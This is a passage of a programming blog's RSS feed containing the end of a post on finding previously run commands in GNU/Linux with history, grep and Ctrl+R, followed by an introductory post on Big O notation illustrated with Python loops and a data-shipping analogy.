      <content:encoded>&lt;p&gt;Sometimes we execute commands that solve a specific task on our system. We may have done a file lookup using regular expressions or perhaps we accessed a server via ssh and no longer remember the IP address. Re-creating the regular expression from scratch can be very time consuming and perhaps finding the IP again can also be more time consuming than if we could simply retrieve the command. We can find a previously executed command in GNU/Linux in a simple way, here is how.&lt;/p&gt;&#xA;&lt;p&gt;One way to do this would be to perform a search for the part of the command that we remember in the command history. This can be done as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;history&lt;/span&gt; | grep &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;comando que buscamos&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The history command will show the list of commands used, the pipe character &amp;ldquo;|&amp;rdquo; will redirect the result to the grep command, which will search for the string you specify.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;command-ctrl--r&#34;&gt;Command CTRL + R&lt;/h2&gt;&#xA;&lt;p&gt;There is an even simpler way to perform this search. This method is a keystroke combination that, despite its simplicity and ease of use, is not very popular, even among regular users of GNU/Linux environments.&lt;/p&gt;&#xA;&lt;p&gt;First we will open a terminal, then we will press &lt;strong&gt;&lt;em&gt;CTRL + R&lt;/em&gt;&lt;/strong&gt;, this will modify the cursor as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;reverse-i-search&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;history&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we press the keys, the commands that match that search will appear. If the command we are looking for is in the ~.history file, it will be displayed instantly.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Sometimes we execute commands that solve a specific task on our system. We may have done a file lookup using regular expressions or perhaps we accessed a server via ssh and no longer remember the IP address. Re-creating the regular expression from scratch can be very time consuming and perhaps finding the IP again can also be more time consuming than if we could simply retrieve the command. We can find a previously executed command in GNU/Linux in a simple way, here is how.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>The Big O notation for algorithm analysis</title>
      <link>https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/</link>
      <pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/</guid>
      
      <category>linux</category>
      
      <category>algorithms</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I love astrophysics and try to keep up with new discoveries as they happen; whether they are trivial things, like the discovery of a new planet; or significant, like the hypothetical Dyson spheres they swear they find every month. But this time the discovery was simply outstanding.&lt;/p&gt;&#xA;&lt;p&gt;Last April 2019, the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.bbc.com/news/science-environment-47873592&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;first photograph of a black hole&lt;/a&gt;&#xA; was published.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/images/BigO_notacion.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/images/BigO_notacion.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;First picture of a black hole&#34; width=&#34;1200&#34; height=&#34;628&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;First picture of a black hole&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The above photograph required 5 petabytes of data, which is 5000 terabytes of data (roughly equivalent to 5000 hard disks of one terabyte capacity). Here the scientists were faced with a major dilemma, what method to use to send so much information?&lt;/p&gt;&#xA;&lt;p&gt;What would happen if they tried to send that information over the Internet? The time it takes to send information over the Internet increases with the amount of information to be sent, the more information the longer the transmission time.&lt;/p&gt;&#xA;&lt;p&gt;Doing a simple calculation, with a download speed of 50 MB/s it would take approximately 1157 days. That&amp;rsquo;s a long time!&lt;/p&gt;&#xA;&lt;p&gt;What if they sent the information in person? Well, this would take at most the amount of hours of the longest flight which is 19 hours approximately, discounting the time it takes to copy the information to a physical medium (a hard disk), which I dare say would consume less than 1157 days.&lt;/p&gt;&#xA;&lt;p&gt;What would have happened if instead of 5 petabytes it had been 5 GB of data? The answer would have been obvious; send the information over the Internet. However, it will take the same amount of time for the airplane to transport any amount of data, be it 1 MB, 1 GB or 1 PB; 19 hours.&lt;/p&gt;&#xA;&lt;p&gt;In this case, time is constant. You know what they decided? That&amp;rsquo;s right, the scientists opted to ship the hard disks by plane.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Information&lt;/th&gt;&#xA;          &lt;th&gt;Internet (50 MB/s)&lt;/th&gt;&#xA;          &lt;th&gt;Plane&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1 GB&lt;/td&gt;&#xA;          &lt;td&gt;20 seconds&lt;/td&gt;&#xA;          &lt;td&gt;19 hours&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;10 GB&lt;/td&gt;&#xA;          &lt;td&gt;200 seconds&lt;/td&gt;&#xA;          &lt;td&gt;19 hours&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1 TB (1000 GB)&lt;/td&gt;&#xA;          &lt;td&gt;20000 seconds (5 hours)&lt;/td&gt;&#xA;          &lt;td&gt;19 hours&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;50 TB (50000 GB)&lt;/td&gt;&#xA;          &lt;td&gt;1000000 seconds (277 hours)&lt;/td&gt;&#xA;          &lt;td&gt;19 hours&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;5 PB (5000000 GB)&lt;/td&gt;&#xA;          &lt;td&gt;100000000 seconds (1157 days)&lt;/td&gt;&#xA;          &lt;td&gt;19 hours&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;With internet speed close to the current limits, using the internet to transmit data is better the smaller the amount of information. Whereas physically transporting hard disks is better for huge amounts of data. This is because &lt;strong&gt;airplane transport time is constant&lt;/strong&gt;, while &lt;strong&gt;Internet data transmission time is linear&lt;/strong&gt;; it increases with the amount of data.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-does-big-o-have-to-do-with-the-code&#34;&gt;What does Big O have to do with the code?&lt;/h2&gt;&#xA;&lt;p&gt;What does the latter have to do with code? Well, the same thing happens with code, every process we perform on the data to transform it consumes time and there are different ways of processing data, there are algorithms whose execution time is constant, for others it increases linearly with the amount of data they process, while others exponentially.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, some offer better performance with little data, while others shine when processing a lot of information. For example &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/databases/i-built-a-bloom-filter-data-structure-simulator/&#34;&gt;Bloom Filters&lt;/a&gt;&#xA; with outstanding performance when checking membership of an element in a set. Or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/swiss-tables-the-superior-performance-hashmap/&#34;&gt;Swiss Tables&lt;/a&gt;&#xA; that use Parallelism to accelerate the lookup of keys.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes when we have no idea about algorithms we ask ourselves, what does it matter if our code runs in 0.0001 seconds or 0.001 seconds, for practical purposes it is the same thing, isn&amp;rsquo;t it? &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;Obsessing about the performance can seem trivial for such small values&lt;/a&gt;&#xA; and if we add to that the vertiginous processing speed of modern equipment we fall into the error of not giving the right importance to algorithms.&lt;/p&gt;&#xA;&lt;p&gt;But now let&amp;rsquo;s ask ourselves, what will happen when the number of users increases to 1000, to 10 000, to 10 000 000, that&amp;rsquo;s when milliseconds can turn into hours or days, and then we get a glimpse of the real importance of choosing an algorithm with adequate performance.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-evaluate-or-read-big-o-performance&#34;&gt;How to evaluate or read Big O performance?&lt;/h2&gt;&#xA;&lt;p&gt;To evaluate this performance, a notation called Big O is used. It tells us how the execution time of an algorithm will behave as a function of its input.&lt;/p&gt;&#xA;&lt;p&gt;The longer the length of the input data, the longer it will take to go through and process it, but by how much does this time increase? A constant time is not the same as a time that increases in direct proportion or exponential proportion.&lt;/p&gt;&#xA;&lt;p&gt;Certainly an algorithm that increases in exponential proportion will not be a nice thing to deal with when we have to go through huge amounts of data. To know how our algorithm behaves we need to analyze it and there are certain rules to consider in the big O notation.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;steps-add-up&#34;&gt;Steps add up&lt;/h3&gt;&#xA;&lt;p&gt;We will start with a simple function that, as you may have guessed, &lt;strong&gt;will take longer to execute the larger the size of the array&lt;/strong&gt; we pass as an argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArray&lt;/span&gt;(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;# a step we will can &amp;#34;n&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(element)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This function will pass through the array only once. Since it has only &lt;strong&gt;one step&lt;/strong&gt;, i.e. &amp;rsquo;n&amp;rsquo;, we say that its execution time is O(n).&lt;/p&gt;&#xA;&lt;h3 id=&#34;constants-are-discarded&#34;&gt;Constants are discarded&lt;/h3&gt;&#xA;&lt;p&gt;Now look at this code, it has two steps that process the same array of values.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArrayDoubled&lt;/span&gt;(Array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Array: &lt;span style=&#34;color:#78787e&#34;&gt;# first step&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(element)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; element &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Array: &lt;span style=&#34;color:#78787e&#34;&gt;# second step&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(element&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above example we would be tempted to say that our function would have an execution time equal to n + n, i.e. O(2n), however &lt;strong&gt;in Big O notation constants do not count&lt;/strong&gt;, the 2 is discarded, leaving O(n) again.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArray&lt;/span&gt;(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementX &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;# one step&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementY &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;# one step for every step&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementX, elementY)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the previous case we still have the same input, but this time the execution time will depend on the length of the algorithm, multiplied by the same length of the algorithm, because for each element of the array the array will be traversed again, that is n x n. This is symbolized by n2, so the time it takes to run the algorithm will be O(n2). That is, the time it takes to run the function will grow exponentially.&lt;/p&gt;&#xA;&lt;h3 id=&#34;each-unique-input-is-taken-as-a-different-variable&#34;&gt;Each unique input is taken as a different variable&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArrayMultiplication&lt;/span&gt;(ArrayOne, ArrayTwo):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementInArrayOne &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; ArrayOne: &lt;span style=&#34;color:#78787e&#34;&gt;# A step depending on ArrayOne&amp;#39;s length&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementInArrayTwo &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; ArrayTwo: &lt;span style=&#34;color:#78787e&#34;&gt;# A step depending on ArrayTwo&amp;#39;s length&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementInArrayOne&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;elementInArrayTwo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Check the previous function, in this function we could also believe that we would have an O(n2), but that would imply that both arrays are equal, i.e. n x n, what if ArrayTwo is extremely small and ArrayOne extremely large?&lt;/p&gt;&#xA;&lt;p&gt;For n x n to be satisfied means that there must be only one term (n) and in this case we have two different arrays, each with its particular length, so it would be more correct to say that O(a x b).&lt;/p&gt;&#xA;&lt;p&gt;In this way we express that the execution time of our function depends on two variables: a and b. If &amp;lsquo;a&amp;rsquo; increases our execution time also, if &amp;lsquo;b&amp;rsquo; decreases our execution time decreases and vice versa.&lt;/p&gt;&#xA;&lt;h3 id=&#34;non-dominant-terms-are-discarded&#34;&gt;Non-dominant terms are discarded.&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArray&lt;/span&gt;(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementX &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;# An step that depends on array (n)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementX)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementX &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;#An step that depends on array (n)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementY &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;#An step that depends on every step of array (n squared)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementX, elementY)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the previous case we have a notation O(n + n2). A step at the beginning that depends on the length of the array and then an &amp;rsquo;n&amp;rsquo; squared. But another feature of big O is that when adding terms only the dominant terms (those with the highest exponent) count, so the above expression would become O( n2).&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-use-big-0-to-measure-performance&#34;&gt;How to use Big 0 to measure performance?&lt;/h2&gt;&#xA;&lt;p&gt;The big O notation shows us that two algorithms for solving the same problem can behave differently. It is important to evaluate which algorithm is the most appropriate for each 